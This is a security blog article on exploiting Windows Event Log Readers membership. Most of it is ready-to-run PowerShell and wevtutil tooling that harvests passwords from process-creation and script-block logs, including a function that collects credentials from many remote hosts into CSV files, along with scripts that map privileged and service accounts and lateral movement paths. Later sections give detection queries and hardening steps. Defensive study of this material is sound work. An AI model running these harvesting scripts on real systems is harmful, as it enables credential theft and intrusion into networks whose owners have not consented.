Event Log Readers group exploitation showing credential harvesting from Windows event logs

Event Log Readers Group Exploitation

Comprehensive guide to exploiting the Event Log Readers group membership in Windows — from credential harvesting to intelligence gathering and attack path enumeration.

Jan 19, 2026
Updated Dec 11, 2025
2 min read

Introduction

The Windows Event Log Readers group is often overlooked as a low-privilege security boundary, yet it provides extensive access to system logs that frequently contain sensitive information. Members of this group can read event logs from the local system, including security events, application logs, and system logs. While this access is intended for monitoring and troubleshooting purposes, it creates significant attack vectors for credential harvesting, reconnaissance, and privilege escalation when combined with proper security event analysis.

Information Goldmine

Event logs are a treasure trove for attackers. They capture process command lines, PowerShell script blocks, authentication events, scheduled tasks, service installations, and much more. A skilled attacker with Event Log Readers membership can map the entire security posture of a system without triggering typical intrusion detection systems.

Understanding the Event Log Readers Group

What is Event Log Readers?

The Event Log Readers group is a built-in local security group introduced in Windows Vista and Windows Server 2008. Members of this group have permission to read event logs from the Windows Event Log service but cannot write to logs or modify log settings.

Default Capabilities:

  • Read access to Security, Application, System, and Setup logs
  • Read access to custom application logs
  • Access to Windows PowerShell operational logs
  • Access to Microsoft-Windows-* event channels
  • Remote event log access (if properly configured)

Default Members:

  • None (group is empty by default)

Common SID:

  • S-1-5-32-573 (well-known SID for Event Log Readers)

Why Organizations Grant This Access

Organizations commonly add users to the Event Log Readers group for several legitimate reasons:

  1. Security Monitoring Personnel

    • SOC analysts reviewing security events
    • Incident response teams investigating alerts
    • Compliance auditors reviewing audit logs
  2. System Administrators

    • Troubleshooting without full admin rights
    • Application support staff diagnosing issues
    • Help desk personnel investigating user problems
  3. Automated Systems

    • SIEM collection agents
    • Log forwarding services
    • Monitoring and alerting platforms
    • Backup solutions
  4. Developers and Testers

    • Application debugging in production environments
    • Performance troubleshooting
    • Integration testing validation

Security Misconception

Many organizations view Event Log Readers as a "safe" privilege to grant broadly because it's "read-only." This dramatically underestimates the intelligence value of event logs and the credentials they often contain.

What Information Resides in Event Logs

Security Event Log

The Security event log records security-related events as defined by the system's audit policy.

Key Events Containing Sensitive Data:

Event ID 4688: Process Creation

When process creation auditing is enabled, this event captures:

  • Process name and path
  • Command line arguments (including passwords passed as parameters)
  • Parent process information
  • User context (who executed the command)
  • Process ID and creation time

Example Sensitive Data:

Process Command Line: net use Z: \\fileserver\share /user:administrator P@ssw0rd123!
Process Command Line: sqlcmd -S dbserver -U sa -P DBPassword2023!
Process Command Line: psexec.exe \\target -u admin -p SecretPass123 cmd.exe

Event ID 4624: Successful Logon

Records successful authentication attempts with:

  • Account name and domain
  • Logon type (Interactive, Network, RemoteInteractive, etc.)
  • Source network address
  • Logon process and authentication package
  • Logon GUID (correlates with other events)

Intelligence Value:

  • Identify privileged account logon patterns
  • Map lateral movement paths
  • Discover service accounts and their usage
  • Enumerate administrative access patterns

Event ID 4625: Failed Logon

Documents authentication failures:

  • Account name attempted
  • Failure reason (bad password, account disabled, etc.)
  • Source network address
  • Failure status codes

Attack Utility:

  • Identify valid usernames (even with wrong passwords)
  • Discover locked-out accounts
  • Map authentication infrastructure
  • Find timing windows for authentication

Event ID 4672: Special Privileges Assigned

Logged when a user with administrative or sensitive privileges logs on:

  • Account name
  • Complete list of sensitive privileges
  • Logon ID (correlate with other events)

Privileges Revealed:

  • SeDebugPrivilege
  • SeTakeOwnershipPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeImpersonatePrivilege
  • And many others

Event ID 4648: Logon with Explicit Credentials

Generated when a user runs a program using alternate credentials (RunAs):

  • Account performing the operation
  • Target account name
  • Target server name
  • Process information

Value for Lateral Movement Mapping:

  • Discover credential reuse patterns
  • Identify jump servers and administrative pathways
  • Map trust relationships between systems

Application and System Logs

Application Event Log:

  • Application errors exposing file paths and configuration
  • Database connection failures (sometimes with connection strings)
  • Service crashes revealing internal architecture
  • Third-party application logging (varies by application)

System Event Log:

  • Service installations and configurations
  • Driver loading and system component changes
  • System startup and shutdown events
  • Hardware and driver errors

PowerShell Operational Logs

PowerShell logs are particularly valuable for attackers:

Microsoft-Windows-PowerShell/Operational:

  • Event ID 4103: Module Logging (captures function calls)
  • Event ID 4104: Script Block Logging (captures PowerShell scripts)
  • Event ID 4105: Start of Command
  • Event ID 4106: Stop of Command

PowerShell Goldmine

Script Block Logging (Event ID 4104) captures the actual content of PowerShell scripts executed on the system, including administrative scripts that often contain hardcoded credentials, API keys, and infrastructure details.

Example PowerShell Log Exposure:

# Script Block Logging captures this script execution
$password = ConvertTo-SecureString "Winter2024!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("CORP\administrator", $password)
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { Get-ADUser -Filter * }

Scheduled Task Logs

Microsoft-Windows-TaskScheduler/Operational:

  • Task registration (Event ID 106) - shows task definitions
  • Task execution (Event ID 129) - shows what ran and when
  • Task completion (Event ID 201) - shows results and output

Scheduled tasks often contain credentials or run with privileged accounts.

Enumeration Techniques

Confirming Group Membership

Step 1: Check Local Group Membership

# Check current user's group membership
whoami /groups

# Specifically check for Event Log Readers
net localgroup "Event Log Readers"

# PowerShell alternative
Get-LocalGroupMember -Group "Event Log Readers"

Example Output:

Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members
-------------------------------------------------------------------------------
CORP\helpdesk
CORP\monitoring_svc
CORP\john.smith
The command completed successfully.

Step 2: Verify Log Access

Test access to security logs:

# Attempt to query security log
Get-WinEvent -LogName Security -MaxEvents 10

# Check available logs
Get-WinEvent -ListLog * | Select-Object LogName, RecordCount, IsEnabled | Where-Object {$_.RecordCount -gt 0}

If you receive results (not "access denied"), you have event log read access.

Step 3: Enumerate Audit Policy

Understand what's being logged:

# Check current audit policy
auditpol /get /category:*

# PowerShell alternative for detailed view
Get-AuditPolicy -Category * -SubCategory * | Format-Table -AutoSize

Remote Event Log Access

Event Log Readers can access logs remotely if configured:

# Query remote security log
Get-WinEvent -ComputerName SERVER01 -LogName Security -MaxEvents 100 -Credential (Get-Credential)

# Using wevtutil for remote access
wevtutil qe Security /r:SERVER01 /u:CORP\user /p:password /f:text /c:100

# Check remote log configuration
Get-WinEvent -ListLog * -ComputerName SERVER01 -Credential (Get-Credential)

Remote Access Requirements

Remote event log access requires:

  • Event Log Readers membership on target system
  • Network connectivity to target (RPC/DCOM ports)
  • Windows Remote Management enabled (for PowerShell remoting)
  • Appropriate firewall rules

Credential Harvesting Techniques

Extracting Credentials from Process Command Lines

Event ID 4688 with command line auditing enabled is the primary source.

Using Get-WinEvent with Filtering

# Search for common credential patterns in command lines
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 10000 |
    Where-Object {
        $_.Properties[8].Value -match '(password|passwd|pwd|pass|/p:|/user:|credential|secret|token|key|api_key)' -or
        $_.Properties[8].Value -match '(-p\s+\S+|-password\s+\S+|--password=\S+)'
    } |
    Select-Object TimeCreated,
        @{Name='User';Expression={$_.Properties[1].Value}},
        @{Name='Process';Expression={$_.Properties[5].Value}},
        @{Name='CommandLine';Expression={$_.Properties[8].Value}} |
    Format-Table -Wrap -AutoSize

Target Specific High-Value Commands:

# Search for credentials in specific tools
$patterns = @(
    'net use.*password',
    'sqlcmd.*-P',
    'psexec.*-p',
    'runas.*password',
    'invoke-command.*-credential',
    'new-psdrive.*password',
    'cmdkey.*pass',
    'reg add.*password',
    'schtasks.*password'
)

$regexPattern = ($patterns -join '|')

Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 50000 |
    Where-Object { $_.Properties[8].Value -match $regexPattern } |
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[1].Value}},
        @{Name='CommandLine';Expression={$_.Properties[8].Value}} |
    Export-Csv -Path C:\Temp\credentials_found.csv -NoTypeInformation

Extract net use Commands:

# Specifically target net use commands with credentials
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 100000 |
    Where-Object { $_.Properties[8].Value -like '*net use*' -and $_.Properties[8].Value -like '*/user:*' } |
    ForEach-Object {
        $cmdLine = $_.Properties[8].Value

        # Attempt to parse username and password
        if ($cmdLine -match '/user:(\S+)\s+(\S+)') {
            [PSCustomObject]@{
                Time = $_.TimeCreated
                User = $_.Properties[1].Value
                TargetAccount = $Matches[1]
                PossiblePassword = $Matches[2]
                FullCommandLine = $cmdLine
            }
        }
    } | Format-Table -AutoSize

Using wevtutil Command-Line Utility

REM Query security log for process creation with passwords
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "password passwd pwd /p:"

REM Export to XML for parsing
wevtutil epl Security C:\Temp\Security.evtx /q:"*[System[(EventID=4688)]]"

REM Query with structured XML
wevtutil qe Security /q:"*[System[(EventID=4688)] and EventData[Data[@Name='CommandLine'] and (contains(Data, 'password') or contains(Data, '/user:'))]]" /f:text /c:1000

REM Remote query
wevtutil qe Security /r:SERVER01 /u:CORP\user /p:password /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "password"

Advantages of wevtutil:

  • Native Windows tool (no PowerShell required)
  • Faster for large log queries
  • Better for scripting in batch files
  • Can work on older Windows versions

Comprehensive Credential Extraction Script

function Find-CredentialsInEventLogs {
    [CmdletBinding()]
    param(
        [string]$ComputerName = $env:COMPUTERNAME,
        [int]$MaxEvents = 100000,
        [string]$OutputPath = "C:\Temp\credentials_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
    )

    Write-Host "[*] Searching for credentials in event logs on $ComputerName..." -ForegroundColor Cyan

    # Credential patterns to search for
    $patterns = @{
        'NetUse' = 'net\s+use.*?/user:\s*(\S+)\s+(\S+)'
        'SqlCmd' = 'sqlcmd.*?-U\s+(\S+).*?-P\s+(\S+)'
        'PsExec' = 'psexec.*?-u\s+(\S+).*?-p\s+(\S+)'
        'RunAs' = 'runas.*?/user:(\S+).*?\s+(\S+)'
        'PowerShell' = 'password|credential|securestring|convertto-securestring'
        'Generic' = '(password|passwd|pwd)[\s=:]+(\S+)'
    }

    $results = @()

    # Search Security log (Event ID 4688 - Process Creation)
    Write-Host "[*] Searching Security log (Event ID 4688)..." -ForegroundColor Yellow

    try {
        $events = Get-WinEvent -ComputerName $ComputerName -FilterHashtable @{
            LogName = 'Security'
            ID = 4688
        } -MaxEvents $MaxEvents -ErrorAction Stop

        foreach ($event in $events) {
            $commandLine = $event.Properties[8].Value
            $user = $event.Properties[1].Value
            $process = $event.Properties[5].Value

            foreach ($patternName in $patterns.Keys) {
                if ($commandLine -match $patterns[$patternName]) {
                    $results += [PSCustomObject]@{
                        Timestamp = $event.TimeCreated
                        Computer = $ComputerName
                        LogType = 'Security'
                        EventID = 4688
                        User = $user
                        Process = $process
                        Pattern = $patternName
                        CommandLine = $commandLine
                        ExtractedUser = if ($Matches.Count -ge 2) { $Matches[1] } else { 'N/A' }
                        ExtractedPassword = if ($Matches.Count -ge 3) { $Matches[2] } else { 'N/A' }
                    }
                }
            }
        }
    } catch {
        Write-Warning "Failed to query Security log: $_"
    }

    # Search PowerShell Operational log (Event ID 4104 - Script Block)
    Write-Host "[*] Searching PowerShell Operational log (Event ID 4104)..." -ForegroundColor Yellow

    try {
        $psEvents = Get-WinEvent -ComputerName $ComputerName -FilterHashtable @{
            LogName = 'Microsoft-Windows-PowerShell/Operational'
            ID = 4104
        } -MaxEvents $MaxEvents -ErrorAction Stop

        foreach ($event in $psEvents) {
            $scriptBlock = $event.Properties[2].Value

            if ($scriptBlock -match '(password|credential|securestring|ConvertTo-SecureString|PSCredential)') {
                $results += [PSCustomObject]@{
                    Timestamp = $event.TimeCreated
                    Computer = $ComputerName
                    LogType = 'PowerShell'
                    EventID = 4104
                    User = $event.UserId
                    Process = 'powershell.exe'
                    Pattern = 'PowerShellScriptBlock'
                    CommandLine = $scriptBlock.Substring(0, [Math]::Min(500, $scriptBlock.Length))
                    ExtractedUser = 'See CommandLine'
                    ExtractedPassword = 'See CommandLine'
                }
            }
        }
    } catch {
        Write-Warning "Failed to query PowerShell log: $_"
    }

    # Export results
    if ($results.Count -gt 0) {
        $results | Export-Csv -Path $OutputPath -NoTypeInformation
        Write-Host "[+] Found $($results.Count) potential credentials!" -ForegroundColor Green
        Write-Host "[+] Results exported to: $OutputPath" -ForegroundColor Green

        # Display summary
        $results | Group-Object Pattern | Select-Object Name, Count | Format-Table -AutoSize

        return $results
    } else {
        Write-Host "[-] No credentials found in event logs" -ForegroundColor Red
    }
}

# Usage
Find-CredentialsInEventLogs -ComputerName "localhost" -MaxEvents 50000

Mass Collection from Multiple Systems

function Invoke-MassCredentialHarvest {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string[]]$ComputerNames,

        [PSCredential]$Credential,

        [int]$MaxEvents = 10000,

        [string]$OutputDirectory = "C:\Temp\CredHarvest"
    )

    # Create output directory
    if (-not (Test-Path $OutputDirectory)) {
        New-Item -ItemType Directory -Path $OutputDirectory -Force | Out-Null
    }

    $allResults = @()

    foreach ($computer in $ComputerNames) {
        Write-Host "[*] Processing $computer..." -ForegroundColor Cyan

        try {
            # Build parameters
            $params = @{
                ComputerName = $computer
                FilterHashtable = @{
                    LogName = 'Security'
                    ID = 4688
                }
                MaxEvents = $MaxEvents
                ErrorAction = 'Stop'
            }

            if ($Credential) {
                $params.Credential = $Credential
            }

            # Query events
            $events = Get-WinEvent @params

            # Filter for credential patterns
            $credEvents = $events | Where-Object {
                $_.Properties[8].Value -match '(password|passwd|pwd|/p:|/user:|credential|secret|-P\s+)'
            }

            foreach ($event in $credEvents) {
                $allResults += [PSCustomObject]@{
                    ComputerName = $computer
                    Timestamp = $event.TimeCreated
                    User = $event.Properties[1].Value
                    Process = $event.Properties[5].Value
                    CommandLine = $event.Properties[8].Value
                }
            }

            Write-Host "[+] Found $($credEvents.Count) potential credentials on $computer" -ForegroundColor Green

        } catch {
            Write-Warning "Failed to process $computer: $_"
        }
    }

    # Export consolidated results
    if ($allResults.Count -gt 0) {
        $outputFile = Join-Path $OutputDirectory "AllCredentials_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
        $allResults | Export-Csv -Path $outputFile -NoTypeInformation

        Write-Host "`n[+] Total credentials found: $($allResults.Count)" -ForegroundColor Green
        Write-Host "[+] Results saved to: $outputFile" -ForegroundColor Green

        # Summary by computer
        Write-Host "`n[*] Summary by computer:" -ForegroundColor Cyan
        $allResults | Group-Object ComputerName |
            Select-Object Name, Count |
            Sort-Object Count -Descending |
            Format-Table -AutoSize
    }

    return $allResults
}

# Usage
$computers = @("SERVER01", "SERVER02", "WORKSTATION01")
$cred = Get-Credential -Message "Enter credentials for remote access"
Invoke-MassCredentialHarvest -ComputerNames $computers -Credential $cred -MaxEvents 20000

PowerShell Script Block Credential Extraction

PowerShell Script Block Logging (Event ID 4104) often captures complete scripts with hardcoded credentials.

# Search PowerShell logs for credential patterns
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 10000 |
    Where-Object {
        $scriptBlock = $_.Properties[2].Value
        $scriptBlock -match '(ConvertTo-SecureString|PSCredential|password\s*=|Get-Credential|username\s*=)' -and
        $scriptBlock -match '(-AsPlainText|-Force|ConvertFrom-SecureString)'
    } |
    Select-Object TimeCreated,
        @{Name='ScriptBlock';Expression={
            $_.Properties[2].Value.Substring(0, [Math]::Min(2000, $_.Properties[2].Value.Length))
        }} |
    Out-GridView -Title "Potentially Sensitive PowerShell Scripts"

Specific Pattern: Hardcoded Credentials

# Extract PSCredential object creations with plaintext passwords
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} -MaxEvents 50000 |
    ForEach-Object {
        $scriptBlock = $_.Properties[2].Value

        # Pattern: $password = ConvertTo-SecureString "Password123" -AsPlainText -Force
        if ($scriptBlock -match 'ConvertTo-SecureString\s+"([^"]+)"\s+-AsPlainText') {
            $extractedPassword = $Matches[1]

            # Try to find associated username
            $username = if ($scriptBlock -match '(username|user|account)\s*=\s*"([^"]+)"') {
                $Matches[2]
            } else {
                'Unknown'
            }

            [PSCustomObject]@{
                Timestamp = $_.TimeCreated
                Username = $username
                Password = $extractedPassword
                FullScript = $scriptBlock.Substring(0, [Math]::Min(500, $scriptBlock.Length))
            }
        }
    } | Format-Table -Wrap -AutoSize

Scheduled Task Credential Extraction

Scheduled tasks may contain credentials or reveal privileged accounts.

# Search Task Scheduler logs for task registration with credentials
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-TaskScheduler/Operational'
    ID = 106  # Task registered
} -MaxEvents 5000 |
    ForEach-Object {
        $xml = [xml]$_.ToXml()
        $taskName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskName'} | Select-Object -ExpandProperty '#text'
        $userName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'UserName'} | Select-Object -ExpandProperty '#text'

        [PSCustomObject]@{
            Time = $_.TimeCreated
            TaskName = $taskName
            RunAsUser = $userName
            TaskXML = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskXml'} | Select-Object -ExpandProperty '#text'
        }
    } |
    Where-Object { $_.RunAsUser -and $_.RunAsUser -notlike 'S-1-5-*' } |
    Format-List

Intelligence Gathering and Reconnaissance

Mapping Privileged Access Patterns

Understanding who has administrative access and when they use it:

# Identify accounts with special privileges
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4672} -MaxEvents 10000 |
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[1].Value}},
        @{Name='Domain';Expression={$_.Properties[2].Value}},
        @{Name='LogonID';Expression={$_.Properties[3].Value}},
        @{Name='Privileges';Expression={
            ($_.Properties[4].Value -split '\s+') -join ', '
        }} |
    Group-Object Account |
    Select-Object Name, Count,
        @{Name='Privileges';Expression={
            $_.Group[0].Privileges
        }} |
    Sort-Object Count -Descending |
    Format-Table -AutoSize

Enumerating Service Accounts

Service accounts often have elevated privileges and weak passwords.

# Find service account logons (Type 5 = Service)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 20000 |
    Where-Object {$_.Properties[8].Value -eq 5} |  # Logon Type 5 = Service
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[5].Value}},
        @{Name='Domain';Expression={$_.Properties[6].Value}},
        @{Name='LogonType';Expression={'Service'}},
        @{Name='ProcessName';Expression={$_.Properties[17].Value}} |
    Group-Object Account |
    Select-Object Name, Count |
    Sort-Object Count -Descending |
    Format-Table -AutoSize

Lateral Movement Detection and Mapping

Track administrative lateral movement patterns:

# Detect potential lateral movement (Network logons with admin privileges)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 50000 |
    Where-Object {
        $logonType = $_.Properties[8].Value
        $account = $_.Properties[5].Value
        # Network logon (3) or RemoteInteractive (10)
        ($logonType -eq 3 -or $logonType -eq 10) -and
        $account -notlike '*$' -and  # Exclude computer accounts
        $account -ne 'ANONYMOUS LOGON'
    } |
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[5].Value}},
        @{Name='SourceIP';Expression={$_.Properties[18].Value}},
        @{Name='LogonType';Expression={
            switch ($_.Properties[8].Value) {
                3 {'Network'}
                10 {'RemoteInteractive'}
                default {$_.Properties[8].Value}
            }
        }},
        @{Name='TargetComputer';Expression={$env:COMPUTERNAME}} |
    Group-Object Account, SourceIP |
    Select-Object @{Name='Account';Expression={$_.Group[0].Account}},
        @{Name='SourceIP';Expression={$_.Group[0].SourceIP}},
        Count,
        @{Name='FirstSeen';Expression={($_.Group | Measure-Object -Property TimeCreated -Minimum).Minimum}},
        @{Name='LastSeen';Expression={($_.Group | Measure-Object -Property TimeCreated -Maximum).Maximum}} |
    Sort-Object Count -Descending |
    Format-Table -AutoSize

Application and Service Enumeration

Discover installed applications and services:

# Find service installations
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} -MaxEvents 5000 |
    Select-Object TimeCreated,
        @{Name='ServiceName';Expression={$_.Properties[0].Value}},
        @{Name='ImagePath';Expression={$_.Properties[1].Value}},
        @{Name='ServiceType';Expression={$_.Properties[2].Value}},
        @{Name='StartType';Expression={$_.Properties[3].Value}},
        @{Name='AccountName';Expression={$_.Properties[4].Value}} |
    Format-Table -Wrap -AutoSize

Detection and Monitoring

Detecting Malicious Event Log Queries

Defenders should monitor for suspicious event log access patterns.

Indicators of Compromise

Detection Opportunities

While Event Log Readers access is legitimate, certain patterns indicate reconnaissance or credential harvesting activities.

Suspicious Patterns:

  1. High-Volume Queries

    • Querying tens of thousands of events in short time
    • Automated scripted queries
    • Queries spanning entire event log history
  2. Targeted Queries

    • Specific filtering for Event ID 4688 with command line patterns
    • PowerShell operational log queries
    • Scheduled task log access
  3. Time-Based Anomalies

    • Event log queries outside business hours
    • Queries from accounts that rarely access logs
    • First-time event log access by an account
  4. Behavioral Anomalies

    • Service accounts querying event logs
    • Event log queries followed by lateral movement
    • Event log exports to removable media or network shares

Logging Event Log Access

Unfortunately, Windows does not log event log read operations by default. However, you can implement detection through:

Process Auditing (Event ID 4688):

Monitor for processes commonly used to query event logs:

  • wevtutil.exe
  • powershell.exe with Get-WinEvent cmdlets
  • Custom log collection tools
// Example KQL query for Defender/Sentinel
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\wevtutil.exe" or
        NewProcessName endswith "\\powershell.exe" or
        NewProcessName endswith "\\pwsh.exe"
| where CommandLine contains "Get-WinEvent" or
        CommandLine contains "wevtutil qe" or
        CommandLine contains "Security" or
        CommandLine contains "4688"
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessName
| summarize Count = count(),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated),
            CommandLines = make_set(CommandLine, 10)
    by Computer, SubjectUserName
| where Count > 10  // High volume queries

PowerShell Script Block Logging:

Monitor for event log query commands in PowerShell scripts:

Event
| where EventLog == "Microsoft-Windows-PowerShell/Operational"
| where EventID == 4104  // Script Block Logging
| where EventData contains "Get-WinEvent" or EventData contains "FilterHashtable"
| extend ScriptBlock = tostring(parse_xml(EventData).EventData.Data)
| where ScriptBlock contains "Security" or ScriptBlock contains "4688"
| project TimeGenerated, Computer, UserName, ScriptBlock

Network-Based Detection

Monitor for remote event log access:

// Detect remote event log queries via WinRM
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\wsmprovhost.exe"  // WinRM provider host
| where ParentProcessName endswith "\\svchost.exe"
| join kind=inner (
    SecurityEvent
    | where EventID == 4624  // Logon
    | where LogonType == 3  // Network logon
    | project LogonTime=TimeGenerated, Computer, TargetUserName, IpAddress
) on Computer
| where TimeGenerated >= LogonTime and TimeGenerated <= (LogonTime + 5m)
| project LogonTime, TimeGenerated, Computer, TargetUserName, IpAddress, CommandLine

Behavioral Baselining

Create baselines for normal event log access patterns:

Identify Legitimate Accessors

Document accounts and systems that legitimately query event logs:

  • SIEM collection agents
  • Monitoring service accounts
  • SOC analyst accounts
  • Backup solutions

Establish Normal Query Patterns

Monitor typical query characteristics:

  • Volume (number of events queried)
  • Frequency (how often queries occur)
  • Timing (time of day patterns)
  • Event IDs queried

Alert on Deviations

Trigger alerts when access patterns deviate from baseline:

  • New accounts querying logs for first time
  • Significantly higher query volumes
  • Queries during unusual time windows
  • Access from unexpected source systems

Mitigation and Hardening

Principle of Least Privilege

Step 1: Audit Current Membership

# List current members
Get-LocalGroupMember -Group "Event Log Readers"

# Check across domain
Get-ADGroupMember -Identity "Event Log Readers" -Server $DC

# Export for review
Get-LocalGroupMember -Group "Event Log Readers" |
    Export-Csv -Path C:\Temp\EventLogReaders_Audit.csv -NoTypeInformation

Step 2: Remove Unnecessary Members

# Remove specific user
Remove-LocalGroupMember -Group "Event Log Readers" -Member "CORP\john.smith"

# Remove all non-service accounts
Get-LocalGroupMember -Group "Event Log Readers" |
    Where-Object {$_.Name -notlike '*svc*' -and $_.Name -notlike '*service*'} |
    ForEach-Object {
        Remove-LocalGroupMember -Group "Event Log Readers" -Member $_.Name
        Write-Host "Removed: $($_.Name)"
    }

Step 3: Implement Just-In-Time Access

For accounts requiring temporary log access:

function Grant-TemporaryLogAccess {
    param(
        [string]$UserName,
        [int]$Hours = 4
    )

    # Add to Event Log Readers
    Add-LocalGroupMember -Group "Event Log Readers" -Member $UserName
    Write-Host "[+] Granted Event Log Readers to $UserName for $Hours hours"

    # Schedule automatic removal
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -Command `"Remove-LocalGroupMember -Group 'Event Log Readers' -Member '$UserName'`""
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

    Register-ScheduledTask -TaskName "RemoveLogAccess_$($UserName.Replace('\','_'))" `
        -Action $action `
        -Trigger $trigger `
        -Principal $principal `
        -Force

    Write-Host "[+] Scheduled automatic removal at $((Get-Date).AddHours($Hours))"
}

# Usage
Grant-TemporaryLogAccess -UserName "CORP\helpdesk" -Hours 2

Disable Command Line Logging for Sensitive Operations

If command line auditing exposes too much sensitive data:

# Disable process command line auditing (not recommended - reduces visibility)
auditpol /set /subcategory:"Process Creation" /success:disable

# Better: Implement credential management best practices to avoid CLI passwords

Security Trade-off

Disabling command line logging reduces visibility into system activities and hinders incident response. Instead, focus on eliminating credential exposure through proper secret management.

Implement Alternative Credential Methods

Eliminate plaintext credentials from command lines:

Use Integrated Authentication:

# Bad: Credentials in command line
sqlcmd -S server -U sa -P password123

# Good: Use integrated authentication
sqlcmd -S server -E

Use Credential Manager:

# Store credentials securely
cmdkey /add:server /user:admin /pass:password123

# Use stored credentials
net use \\server\share /user:admin /savecred

PowerShell Secure Strings:

# Export encrypted credential (user-specific, machine-specific)
$cred = Get-Credential
$cred | Export-Clixml -Path C:\secure\cred.xml

# Import and use
$cred = Import-Clixml -Path C:\secure\cred.xml
Invoke-Command -ComputerName server -Credential $cred -ScriptBlock {...}

Log Forwarding and Centralization

Reduce local log access requirements by centralizing logs:

Configure Windows Event Forwarding (WEF)

# On collector server
wecutil qc /q

# Create subscription
$subscription = @"
<Subscription xmlns="http://schemas.microsoft.com/2006/03/windows/events/subscription">
    <SubscriptionId>SecurityLogs</SubscriptionId>
    <SubscriptionType>SourceInitiated</SubscriptionType>
    <Description>Forward security logs</Description>
    <Enabled>true</Enabled>
    <Query><![CDATA[
        <QueryList>
            <Query Id="0">
                <Select Path="Security">*[System[(EventID=4624 or EventID=4625 or EventID=4688 or EventID=4672)]]</Select>
            </Query>
        </QueryList>
    ]]></Query>
</Subscription>
"@

$subscription | Out-File C:\Temp\subscription.xml
wecutil cs C:\Temp\subscription.xml

Configure Source Systems

# Enable event forwarding
winrm quickconfig -q

# Add collector server
wecutil qc /q

Benefits

  • Centralized log analysis without local access
  • Reduced Event Log Readers group membership
  • Improved security monitoring
  • Enhanced incident response capabilities

Enhanced Auditing Configuration

Configure granular auditing to capture security-relevant events without excessive sensitive data:

# Enable security auditing
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Account Management" /success:enable /failure:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Policy Change" /success:enable /failure:enable
auditpol /set /category:"Privilege Use" /success:enable /failure:enable

# Enable process creation auditing (but consider command line implications)
auditpol /set /subcategory:"Process Creation" /success:enable

# Configure PowerShell logging
$psLogging = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item -Path $psLogging -Force
Set-ItemProperty -Path $psLogging -Name "EnableScriptBlockLogging" -Value 1

# Module logging
$moduleLogging = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
New-Item -Path $moduleLogging -Force
Set-ItemProperty -Path $moduleLogging -Name "EnableModuleLogging" -Value 1

Conclusion

The Event Log Readers group, while appearing innocuous as a "read-only" privilege, provides extensive intelligence-gathering capabilities that sophisticated attackers leverage for credential harvesting, reconnaissance, and attack planning. Organizations must treat this group membership with appropriate security rigor, applying least privilege principles and implementing robust monitoring for anomalous event log access patterns.

Key Takeaways

  1. Event Logs Are Intelligence Goldmines: Security, PowerShell, and Task Scheduler logs frequently contain credentials, privileged account usage patterns, and system architecture details.

  2. Command Line Auditing Double-Edged Sword: While command line logging provides valuable security telemetry, it also creates credential exposure risks that must be managed through proper secret handling practices.

  3. Monitoring Is Challenging: Windows does not natively log event log read access, requiring creative detection approaches through process monitoring and behavioral analytics.

  4. Defense Requires Layering: Effective defense combines membership restrictions, alternative credential methods, centralized logging, and active monitoring.

  5. Credential Hygiene Is Critical: Eliminating credentials from command lines and scripts is the most effective mitigation against this attack vector.

Defense Checklist

  • Audit current Event Log Readers group membership
  • Remove unnecessary accounts from Event Log Readers
  • Implement Just-In-Time access for legitimate users
  • Enable PowerShell Script Block Logging
  • Configure process creation auditing (Event ID 4688)
  • Establish baseline for normal event log access patterns
  • Deploy detection for wevtutil.exe and Get-WinEvent usage
  • Implement Windows Event Forwarding (WEF) to centralize logs
  • Train administrators on secure credential handling
  • Eliminate plaintext credentials from command lines
  • Implement credential vaults and secret management solutions
  • Regular review of sensitive events for credential exposure
  • Document legitimate event log access requirements

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Security Resources

By understanding the intelligence value of event logs and implementing comprehensive controls around Event Log Readers group membership, organizations can significantly reduce the risk of credential theft and reconnaissance activities that leverage this often-overlooked attack surface.

Last updated on

On this page

Introduction
Understanding the Event Log Readers Group
What is Event Log Readers?
Why Organizations Grant This Access
What Information Resides in Event Logs
Security Event Log
Event ID 4688: Process Creation
